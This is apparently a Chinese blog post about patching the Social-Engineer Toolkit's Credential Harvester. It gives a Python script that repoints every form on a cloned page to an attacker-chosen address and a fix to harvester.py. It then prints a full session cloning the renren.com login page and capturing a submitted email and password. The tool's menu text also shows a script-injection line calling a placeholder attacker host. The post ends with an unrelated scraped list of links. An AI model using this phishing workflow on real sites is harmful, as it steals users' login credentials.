Credential Harvester的脚本修改

昨天测试出现乱码。今天晚上调试，修改了一下。

#!/usr/bin/python
# Filename: ModifyFormAction.pyimport sys
import os
from pyquery import PyQuery as pqdef ModifyFormAction(htmlPath, url):if not os.path.isfile(htmlPath):print "%s is not a file" % htmlPathreturnd = pq(filename=htmlPath, parser='html')node = d('meta[http-equiv="Content-Type"]')contentType = node.attr("http-equiv")content = node.attr("content")meta = '<meta http-equiv="%s" content="%s" />' % (contentType, content)forms = d('form')for i in range(0, len(forms)):forms.eq(i).attr("action", url)submits = d('input[type="submit"]')for i in range(0, len(submits)):onclick = "document.forms[%d].submit();" % isubmits.eq(i).attr("onclick", onclick) html = d.outerHtml().encode('utf-8')htmlArr = html.split("<head>")newHtml = htmlArr[0] + "<head>" + meta + htmlArr[1];f = file(htmlPath, 'w')f.write(newHtml)f.close()print "Modified successfully"if __name__ == '__main__':if len(sys.argv) < 3:print "Usage: htmlPath url"else:ModifyFormAction(sys.argv[1], sys.argv[2])

还要修改harvester.py，其中某处修改为：

                fileopen=file("src/program_junk/site.template","r").readlines()for line in fileopen:line=line.rstrip()match=re.search("URL=",line)if match:RAW_URL=line.replace("URL=", "")URL=line.replace("URL=http://", "")URL=line.replace("URL=https://", "")counter=1breakif counter== 0: URL=''

原来是没有break的。这样，就没有乱码，也能返回到原来的页面了，但是还有个问题，就是没有进行登录操作。今天太晚了，以后再改。

root@bt:/pentest/exploits/set# ./set..######..########.########.##....##.##..........##....##.......##..........##.....######..######......##..........##.##..........##....##....##.##..........##.....######..########....##...  [---]        The Social-Engineer Toolkit (SET)         [---]        [---]        Created by: David Kennedy (ReL1K)         [---][---]        Development Team: JR DePre (pr1me)        [---][---]        Development Team: Joey Furr (j0fer)       [---][---]        Development Team: Thomas Werth            [---][---]        Development Team: Garland                 [---][---]                  Version: 3.6                    [---][---]          Codename: 'MMMMhhhhmmmmmmmmm'           [---][---]        Report bugs: davek@trustedsec.com         [---][---]         Follow me on Twitter: dave_rel1k         [---][---]       Homepage: https://www.trustedsec.com       [---]Welcome to the Social-Engineer Toolkit (SET). Your onestop shop for all of your social-engineering needs..Join us on irc.freenode.net in channel #setoolkitThe Social-Engineer Toolkit is a product of TrustedSec.Visit: https://www.trustedsec.comSelect from the menu:1) Social-Engineering Attacks2) Fast-Track Penetration Testing3) Third Party Modules4) Update the Metasploit Framework5) Update the Social-Engineer Toolkit6) Update SET configuration7) Help, Credits, and About99) Exit the Social-Engineer Toolkitset> 1:::===  :::===== :::====:::     :::      :::=========  ======     ===  === ===        ===  ======  ========   ===  [---]        The Social-Engineer Toolkit (SET)         [---]        [---]        Created by: David Kennedy (ReL1K)         [---][---]        Development Team: JR DePre (pr1me)        [---][---]        Development Team: Joey Furr (j0fer)       [---][---]        Development Team: Thomas Werth            [---][---]        Development Team: Garland                 [---][---]                  Version: 3.6                    [---][---]          Codename: 'MMMMhhhhmmmmmmmmm'           [---][---]        Report bugs: davek@trustedsec.com         [---][---]         Follow me on Twitter: dave_rel1k         [---][---]       Homepage: https://www.trustedsec.com       [---]Welcome to the Social-Engineer Toolkit (SET). Your onestop shop for all of your social-engineering needs..Join us on irc.freenode.net in channel #setoolkitThe Social-Engineer Toolkit is a product of TrustedSec.Visit: https://www.trustedsec.comSelect from the menu:1) Spear-Phishing Attack Vectors2) Website Attack Vectors3) Infectious Media Generator4) Create a Payload and Listener5) Mass Mailer Attack6) Arduino-Based Attack Vector7) SMS Spoofing Attack Vector8) Wireless Access Point Attack Vector9) QRCode Generator Attack Vector10) Powershell Attack Vectors11) Third Party Modules99) Return back to the main menu.set> 2The Web Attack module is  a unique way of utilizing multiple web-based attacksin order to compromise the intended victim.The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by ThomasWerth to deliver the payload.The Metasploit Browser Exploit method will utilize select Metasploitbrowser exploits through an iframe and deliver a Metasploit payload.The Credential Harvester method will utilize web cloning of a web-site that has a username and password field and harvest all the information posted to the website.The TabNabbing method will wait for a user to move to a differenttab, then refresh the page to something different.The Man Left in the Middle Attack method was introduced by Kos and utilizes HTTP REFERER's in order to intercept fields and harvest data from them. You need to have an already vulnerable site and in-corporate <script src="http://YOURIP/">. This could either be from acompromised site or through XSS.The Web-Jacking Attack method was introduced by white_sheep, Emgent and the Back|Track team. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can editthe link replacement settings in the set_config if its too slow/fast.The Multi-Attack method will add a combination of attacks through the web attackmenu. For example you can utilize the Java Applet, Metasploit Browser,Credential Harvester/Tabnabbing, and the Man Left in the Middle attackall at once to see which is successful.1) Java Applet Attack Method2) Metasploit Browser Exploit Method3) Credential Harvester Attack Method4) Tabnabbing Attack Method5) Man Left in the Middle Attack Method6) Web Jacking Attack Method7) Multi-Attack Web Method8) Victim Web Profiler9) Create or import a CodeSigning Certificate99) Return to Main Menuset:webattack>3The first method will allow SET to import a list of pre-defined web applications that it can utilize within the attack.The second method will completely clone a website of your choosingand allow you to utilize the attack vectors within the completelysame web application you were attempting to clone.The third method allows you to import your own website, note that youshould only have an index.html when using the import websitefunctionality.1) Web Templates2) Site Cloner3) Custom Import99) Return to Webattack Menuset:webattack>2
[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report
[-] This option is used for what IP the server will POST to.
[-] If you're using an external IP, use your external IP for this
set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.1.11
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:www.renren.com[*] Cloning the website: http://www.renren.com
[*] This could take a little bit...
Modified successfullyThe best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[!] I have read the above message.Press <return> to continue[*] Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
192.168.1.142 - - [28/Apr/2013 05:23:20] "GET / HTTP/1.1" 200 -
[*] WE GOT A HIT! Printing the output:
POSSIBLE USERNAME FIELD FOUND: email=yangyang@gmail.com
POSSIBLE PASSWORD FIELD FOUND: password=yang_pass
PARAM: icode=
PARAM: origURL=http://www.renren.com/home
PARAM: domain=renren.com
PARAM: key_id=1
POSSIBLE USERNAME FIELD FOUND: captcha_type=web_login
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

Credential Harvester的脚本修改相关推荐

【Android 安装包优化】WebP 应用 ( libwebp 源码下载 | Android.mk 和 Application.mk 构建脚本修改 | libwebp 函数库编译 )
文章目录一. libwebp 源码下载二. libwebp 源码编译脚本修改三. libwebp 函数库编译四.参考资料一. libwebp 源码下载 Google 提供了一系列的 WebP ...
（转）[Android] 利用 ant 脚本修改项目包名
[Android] 利用 ant 脚本修改项目包名在开发android应用项目的时候,经常会有这样的需求,一个应用项目,要求房价上半年下行下半年或回暖在不同的OEM下有不同的包名,不同的资源,不 ...
脚本修改IIS连接数
503 网上众多的文章都指出使用微软出品的 MtaEdt22.exe 修改, 但MtaEdt有安装不上或者修改无效的情况,记得很早就有注册表修改方法,直接修改注册表键值来实现,可基本搜索不到~ 今天找 ...
使用fiddler脚本修改x-frame-options
之前的抓包工具一直在使用charles,对比Charles和fiddler,我觉得 Fiddler功能更加的强大,扩展能力更强,Charles满足的最基本的功能,Ui和交互很舒服. fiddler最强 ...
2020-08-22 OpenWRT 脚本修改网卡MAC
脚本修改网卡MAC #!/bin/shLAN_DEVICE="eth0" URL="http://127.0.0.1:80/file.txt"NEW_MAC=$ ...
计算机修改IP脚本,用脚本修改计算机名和IP地址
LastIPNumber = InputBox("请输入计算机IP地址的最后三位","修改计算机名称及IP地址") '获取最后三位IP地址 ComputerNa ...
脚本修改root密码和命令修改root密码
一:命令修改密码(交互式): 1:ssh远程连接主机: passwd root 根据提示输入密码以及在此确认二:脚本修改密码定时修改密码是对服务器的安全的尊重,然而没事使用交互式修改有点烦: 脚本 ...
HTML5视频播放器增强脚本——修改增强
HTML5视频播放器增强脚本--修改增强分析过程键盘按键与 ASCII 字符集对照表找到原始脚本[已经使用]的字母+数字,以及[想要增加]字母+数字代码修改找到需要修改 [ASCII]的地方 ...
脚本修改linux网络配置,用脚本实现Linux的网络配置
写了一个用脚本实现用交互模式实现网络地址的修改的bash脚本,给大家分享一下 #!/bin/bash read -p "qing shu ru ni xiang she zhi de wan ...
Shell 脚本修改 Mac IP地址
本篇文章由:http://xinpure.com/shell-script-to-modify-the-mac-ip-address/ 麻烦事最近在笔记本 WIFI 网络上遇到一个麻烦事, 在公司需 ...

Credential Harvester的脚本修改

Credential Harvester的脚本修改相关推荐

最新文章

热门文章